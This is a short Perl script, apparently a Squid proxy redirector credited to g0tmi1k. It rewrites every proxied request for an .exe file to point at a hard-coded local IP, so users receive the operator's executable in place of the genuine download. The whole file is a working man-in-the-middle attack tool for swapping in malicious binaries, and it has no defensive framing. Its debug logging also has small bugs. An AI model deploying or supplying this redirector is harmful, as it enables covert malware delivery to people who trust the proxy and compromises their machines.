#!/usr/bin/perl
# replace.pl     --- squid application replacement filter
# g0tmi1k
###################################################################

use IO::Handle;
use File::Basename;

$|=1;
$ourIP = "192.168.0.33";
$debug = 0;

if ($debug == 1) { open (DEBUG, '>>/tmp/replace.log'); }
autoflush DEBUG 1;

while (<>) {
	chomp $_;
	if ($_ =~ /(.*\.exe)/i) {
		if ($debug == 1) { print DEBUG "Input: $url\n"; }
		$url = $1;
		$filename = basename( $url );
		$new_url = "http://$ourIP/$filename";
		print "$new_url\n";
		if ($debug == 1) { print DEBUG "Filename: $$filename\nOutput: $new_url\n"; }
	}
	else {
		print "$_\n";
	}
}
